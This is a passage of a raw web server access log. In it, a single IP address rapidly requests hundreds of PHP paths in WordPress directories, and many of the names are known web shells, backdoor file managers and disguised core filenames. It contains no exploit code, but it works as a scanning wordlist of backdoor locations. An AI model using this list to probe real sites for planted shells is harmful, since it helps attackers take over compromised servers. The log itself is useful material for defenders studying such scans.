"GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:42 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:42 -0400] "GET /dhemowfu.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:43 -0400] "GET /uploads/683584ibal.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:43 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:43 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:44 -0400] "GET /wp-admin/51axqg6EDPQ.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:44 -0400] "GET /wp-admin/images/a2.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:45 -0400] "GET /wp-content/plugins/dywdsmx/ovailqjzg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:45 -0400] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:46 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:46 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:46 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:46 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:47 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:47 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:47 -0400] "GET /wp-includes/images/crystal/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:48 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:48 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:48 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:49 -0400] "GET /wp-content/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:49 -0400] "GET /wp-includes/Requests/about.php7 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:49 -0400] "GET /wp-content/uploads/id.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:50 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:50 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:51 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:52 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:52 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:53 -0400] "GET /wp-includes/css/page.template.1735117956.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:53 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:53 -0400] "GET /css/kraoqapd.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:54 -0400] "GET /sbijnocj.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:54 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:54 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:54 -0400] "GET /wp-content/uploads/wpr-addons/forms/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:55 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:55 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:55 -0400] "GET /wp-admin/js/a2.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:56 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:56 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:56 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:56 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:57 -0400] "GET /wp-admin/css/daren.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:57 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:57 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/Ge/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:58 -0400] "GET /wp-admin/includes/zipp.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:58 -0400] "GET /wp-content/uploads/showupload.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:59 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:59 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:49:59 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:00 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/ovakvbycd.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:00 -0400] "GET /wp-admin/includes/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:00 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:01 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:01 -0400] "GET /1rbxb768.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:01 -0400] "GET /he.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:01 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:02 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:02 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:03 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:04 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:04 -0400] "GET /wp-admin/js/widgets/jLFgZjjsqs.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:04 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:05 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:05 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:07 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:08 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:10 -0400] "GET /wp-includes/yes.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:11 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:12 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:13 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:14 -0400] "GET /epdwm.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:14 -0400] "GET /wp-content/plugins/woocommerce/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:15 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:15 -0400] "GET /wp-includes/Text/Diff/Renderer/eqw5de.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:16 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:16 -0400] "GET /.well-known/acme-challenge/tiny.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:17 -0400] "GET /assets/images/206d2bdfbd.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:17 -0400] "GET /cvawk.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:18 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:18 -0400] "GET /wp-admin/js/widgets/text-widgets.min.js.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:18 -0400] "GET /wp-includes/1671b870622bf3admin.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:18 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:19 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:19 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:20 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:21 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:21 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:22 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:22 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:23 -0400] "GET /wp-includes/Requests/library/about.php7 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:23 -0400] "GET /.well-known/siuqzorv.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:23 -0400] "GET /wp-admin/css/colors/coffee/css.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:24 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:24 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:24 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:24 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:25 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:25 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:26 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:26 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:26 -0400] "GET /components/attari.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:26 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:27 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:27 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:27 -0400] "GET /wp-admin/includes/legendneverdie.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:28 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:28 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:28 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:29 -0400] "GET /cong.php935 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:29 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:30 -0400] "GET /wp-content/plugins/portfolio-post-type/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:30 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:30 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:31 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:31 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:31 -0400] "GET /wp-includes/images/wthvideo.min.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:32 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:32 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:33 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:33 -0400] "GET /csxcvtg6v?key=51851b87a35f6a6288e1eef649afb2dccss.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:33 -0400] "GET /wp-admin/css/colors/sunrise/HmfdSRigQv.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:34 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:34 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:34 -0400] "GET /bovaxayy.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:35 -0400] "GET /wp-admin/css/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:35 -0400] "GET /wp-includes/ovackgowa.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:36 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:36 -0400] "GET /shirtkobain/mail.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:37 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:38 -0400] "GET /wp-includes/wp-class-entry-shield.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:38 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:39 -0400] "GET /wp-admin/css/upgrade.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:39 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:40 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:40 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:41 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:41 -0400] "GET /wp-content/plugins/wxzanln/ovarxggtq.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:41 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:41 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:42 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:42 -0400] "GET /ulc6.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:42 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:43 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:43 -0400] "GET /wp-content/upgrade/8eNAbZK4gI.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:43 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:43 -0400] "GET /autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:44 -0400] "GET /tjspfvjh.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:44 -0400] "GET /wp-content/plugins/erinyani/baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:44 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:45 -0400] "GET /.well-known/crlunpft.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:45 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:45 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:46 -0400] "GET /wp-content/languages/sxo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:46 -0400] "GET /wp-content/uploads/6CCPahUZVr.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:46 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:46 -0400] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:47 -0400] "GET /admin/sxo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:47 -0400] "GET /wp-admin/images/media-button-other.gif.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:47 -0400] "GET /wp-includes/random_compat/niko.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:47 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:48 -0400] "GET /assets/js/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:48 -0400] "GET /bakvxppf.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:48 -0400] "GET /wp-admin/maint/k.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:48 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:49 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:49 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:49 -0400] "GET /wp-admin/maint/item.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:50 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:50 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:50 -0400] "GET /wp-content/plugins/xolanpf/ovamsmcsg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:50 -0400] "GET /wp-content/themes/Divi-2/core/ovaawqfhg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:51 -0400] "GET /wp-includes/media-blogs.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:51 -0400] "GET /wp-content/upgrade/newch.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:51 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:52 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:52 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:52 -0400] "GET /0yhs1bgh.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:53 -0400] "GET /css/text.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:53 -0400] "GET /hvemizso.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:53 -0400] "GET /wp-content/uploads/2023/10/themes.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:53 -0400] "GET /wp-includes/uttiwenl.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:54 -0400] "GET /.well-known/acme-challenge/edii7rIWJF.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:54 -0400] "GET /.well-known/acme-challenge/indec.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:54 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:55 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:55 -0400] "GET /wp-content/plugins/dxoksvn/ovandccqr.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:55 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:56 -0400] "GET /.well-known/acme-challenge/lo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:56 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:57 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:57 -0400] "GET /wp-content/moderation.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:58 -0400] "GET /.well-known/acme-challenge/fai.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:58 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:59 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:50:59 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:00 -0400] "GET /files/file_uploader.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:00 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:01 -0400] "GET /wp-content/plugins/ecphbbr/ovadncdwv.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:01 -0400] "GET /wordpress/wp-content/themes/as/radio.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:02 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:02 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:02 -0400] "GET /wp-admin/css/colors/ectoplasm/JWWwEMipZk.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:03 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:04 -0400] "GET /rrwrzgsf.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:05 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:06 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:06 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:07 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:07 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:08 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:08 -0400] "GET /wp-includes/SimplePie/Cache/checkbex.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:09 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:09 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:10 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:10 -0400] "GET /wordpress/wp-includes/blocks/list-item/ovabliphi.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:10 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:11 -0400] "GET /.well-known/pyfskulr.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:11 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 